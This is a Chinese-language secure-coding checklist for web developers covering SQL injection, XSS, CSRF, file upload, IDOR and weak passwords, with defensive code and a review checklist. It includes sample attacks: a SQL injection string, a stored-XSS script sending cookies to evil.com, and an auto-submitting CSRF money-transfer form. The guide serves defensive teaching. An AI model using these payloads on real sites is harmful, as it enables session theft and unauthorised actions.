Web应用常见安全漏洞防护清单
梳理Web应用最常见的几类安全漏洞及防护措施,涵盖SQL注入、XSS、CSRF、文件上传、越权访问等,说明攻击原理、危害和防御方法,附代码示例和安全开发检查清单。
# Web应用常见安全漏洞防护清单
## 前言
Web 应用的安全漏洞五花八门,但真正造成严重事故的往往集中在少数几类。本文梳理最常见的漏洞类型、攻击原理和防御方法,帮助开发者在编码阶段就堵住漏洞。
## 1. SQL 注入
### 原理
攻击者通过输入构造恶意 SQL 语句,绕过认证或窃取数据。
```sql
# 经典注入示例
# 输入: admin" or "1"="1
SELECT * FROM users WHERE name = "admin" or "1"="1";
```
### 防御:参数化查询
```javascript
// 错误:字符串拼接
const sql = `SELECT * FROM users WHERE name = "${name}"`;
// 正确:参数化
const sql = "SELECT * FROM users WHERE name = ?";
db.query(sql, [name], (err, rows) => {});
```
任何用户输入都不要直接拼进 SQL,用参数化查询或 ORM。
## 2. XSS(跨站脚本)
### 原理
攻击者注入恶意脚本,在受害者浏览器执行,窃取 Cookie 或会话。
```html
<!-- 存储型 XSS:评论里插入 -->
<script>fetch("http://evil.com?cookie=" + document.cookie)</script>
```
### 防御
- 对用户输入做 HTML 转义
- 输出时用框架的自动转义(Vue/React 默认转义)
- 设置 HttpOnly Cookie,防止 JS 读取
```javascript
// 服务端设置 HttpOnly
res.setHeader("Set-Cookie", "session=xxx; HttpOnly; Secure; SameSite=Strict");
// 前端避免用 v-html 直接渲染用户内容
// 错误: <div v-html="userContent"></div>
```
## 3. CSRF(跨站请求伪造)
### 原理
诱导已登录用户点击恶意链接,以用户身份发起请求。
```html
<!-- 恶意网站上的隐藏表单 -->
<form action="https://bank.com/transfer" method="POST">
<input type="hidden" name="to" value="attacker">
<input type="hidden" name="amount" value="10000">
</form>
<script>document.forms[0].submit()</script>
```
### 防御
- 关键操作加 CSRF Token
- 设置 SameSite Cookie
- 校验请求来源(Referer/Origin)
```javascript
// 校验 Origin
const origin = req.headers.origin;
if (!allowedOrigins.includes(origin)) {
return res.status(403).send("Forbidden");
}
```
## 4. 文件上传漏洞
### 原理
上传恶意文件(如 webshell)到服务器并执行。
### 防御
```javascript
// 校验文件类型(白名单)
const allowed = ["jpg", "png", "pdf"];
const ext = path.extname(file.originalname).slice(1).toLowerCase();
if (!allowed.includes(ext)) {
return res.status(400).send("不支持的文件类型");
}
// 重命名文件,避免路径穿越
const newName = crypto.randomUUID() + "." + ext;
// 限制文件大小
if (file.size > 10 * 1024 * 1024) {
return res.status(400).send("文件过大");
}
```
关键:白名单校验、随机重命名、限制大小、上传目录禁止执行脚本。
## 5. 越权访问(IDOR)
### 原理
攻击者修改 URL 中的资源 ID,访问他人的数据。
```javascript
// 错误:直接按 ID 查询,不做权限校验
app.get("/api/order/:id", (req, res) => {
const order = getOrder(req.params.id);
res.json(order);
});
// 正确:校验资源归属
app.get("/api/order/:id", (req, res) => {
const order = getOrder(req.params.id);
if (order.userId !== req.user.id) {
return res.status(403).send("无权访问");
}
res.json(order);
});
```
## 6. 暴力破解与弱口令
### 防御
```javascript
// 登录限流
// 错误次数过多锁定账户或增加验证码
// 密码加密存储(bcrypt)
const bcrypt = require("bcrypt");
const hash = await bcrypt.hash(password, 10);
```
## 安全开发检查清单
- [ ] 所有数据库查询使用参数化
- [ ] 用户输入输出做转义
- [ ] Cookie 设置 HttpOnly + Secure + SameSite
- [ ] 关键操作加 CSRF Token
- [ ] 文件上传白名单校验
- [ ] 资源访问做权限校验
- [ ] 密码加密存储
- [ ] 登录接口限流
## 小结
Web 安全的核心原则:不信任任何用户输入。SQL 注入、XSS、CSRF、文件上传、越权这几类漏洞,只要遵循安全编码规范就能大幅减少风险。建议把上面的检查清单纳入 Code Review 流程。